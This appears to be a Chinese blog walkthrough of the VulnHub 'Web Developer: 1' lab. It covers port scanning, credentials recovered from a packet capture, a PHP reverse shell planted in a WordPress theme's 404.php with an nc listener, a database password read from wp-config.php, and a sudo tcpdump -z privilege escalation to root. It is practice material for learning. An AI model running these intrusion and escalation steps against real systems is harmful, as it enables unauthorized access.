zoukankan      html  css  js  c++  java
  • VulnHub靶场篇4-Web-Developer-1

    靶机地址:Web Developer: 1 ~ VulnHub

    文章主要是简要记录每一个过程,没有专门地对每一步截图,也许有些步骤中并不详细,会在文末附上相关详细的渗透文章

    主机探测&端口扫描

    靶机ip为 192.168.31.118

    端口扫描结果:
    22和80端口

    >> nmap -A -p- -T5 -sV 192.168.31.118
    Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-26 23:29 CST
    Nmap scan report for 192.168.31.118
    Host is up (0.00039s latency).
    Not shown: 65533 closed ports
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 d2:ac:73:4c:17:ec:6a:82:79:87:5a:f9:22:d4:12:cb (RSA)
    |   256 9c:d5:f3:2c:e2:d0:06:cc:8c:15:5a:5a:81:5b:03:3d (ECDSA)
    |_  256 ab:67:56:69:27:ea:3e:3b:33:73:32:f8:ff:2e:1f:20 (ED25519)
    80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
    |_http-generator: WordPress 4.9.8
    |_http-server-header: Apache/2.4.29 (Ubuntu)
    |_http-title: Example site – Just another WordPress site
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 15.26 seconds
    

    信息搜集

    1. 目录爆破
      发现有一个ipdata目录,前往 192.168.31.118/ipdata
    dirb http://192.168.31.118
    
    1. .cap文件
      使用WireShark分析.cap文件
      针对HTTP和POST两个关键词搜到180和665两条信息
      180的信息中包含用户webdevelop的登录信息

      Form item: "log" = "webdeveloper"
      Form item: "pwd" = "Te5eQg&4sBS!Yr$)wf%(DcAd"
      

    权限获取

    思路一:文件上传(404.php页面)

    1. 在下面404.php文件处写入反向连接的代码(见第2步),并保存

    001

    1. 反向连接的代码,需要修改其中的ip为本机kali的ip,端口默认为1234
    cp /usr/share/webshells/php/php-reverse-shell.php .
    
    1. 写入完成后,在kali上监听端口
    nc -lvp 1234
    
    1. 访问页面,回到kali,可以看到已经获取到权限了,
    192.168.31.118/wp-content/themes/twentysixteen/404.php
    

    思路二:文件上传(插件处上传)

    参考:Root Network Security (rootnetsec.com)

    权限提取

    在获取到的低权限用户中可以访问到敏感文件wp-config.php,里面存储着数据库用户名和密码,尝试进行连接

    /** MySQL database username */
    define('DB_USER', 'webdeveloper');
    
    /** MySQL database password */
    define('DB_PASSWORD', 'MasterOfTheUniverse');
    

    登录进去后通过下面的命令,查看自己执行sudo后的权限,发现可以执行tcpdump

    sudo -l
    (root) /usr/sbin/tcpdump
    

    思路一:通过root执行tcpdump指令获取flag.txt

    1. 在该用户中创建文件
    touch /tmp/exploit
    
    1. 写入shellcode
    echo 'cat /root/flag.txt' > /tmp/exploit
    
    1. 赋予该文件执行权限
    chmod +x /tmp/exploit
    
    1. 执行tcpdump指令,得到flag.txt
    sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root
    

    上面这行代码的具体含义还不是很清楚

    tcpdump命令详解:

    • -i eth0 从指定网卡捕获数据包
    • -w /dev/null 将捕获到的数据包输出到空设备(不输出数据包结果)
    • -W [num] 指定抓包数量
    • -G [rotate_seconds] 每rotate_seconds秒一次的频率执行-w指定的转储
    • -z [command] 运行指定的命令
    • -Z [user] 指定用户执行命令

    总结

    1. WireShark使用
      分析.cap文件,每一条的详细信息
      ARP(Address Resolution Protocol)
      TCP(Transmission Control Protocol)
      HTTP(Hypertext Transfer Protocol)

    2. Vim的使用
      复制粘贴等

    3. 交互式tty

      python -c 'import pty;pty.spawn("/bin/bash")
      

      优点:显示友好,有历史记录等等

    参考

    Root Network Security (rootnetsec.com)

    No.29-VulnHub-Web Developer: 1-Walkthrough渗透学习-CSDN博客

    (2条消息) Vulnhub靶机渗透测试实战(二):Web Developer: 1_Jenny_Zhx的博客-CSDN博客

  • 相关阅读:
    electron项目打包成dmg
    到底什么是流?
    cent日常操作实践(二)
    pm2基本使用
    koa + sequelize + mysql 项目实践笔记
    cenos 磁盘操作
    MySQL基础操作汇总二
    Python调用shell
    Python常用模块之七 PIL
    random
  • 原文地址:https://www.cnblogs.com/labster/p/14335993.html
Copyright © 2011-2022 走看看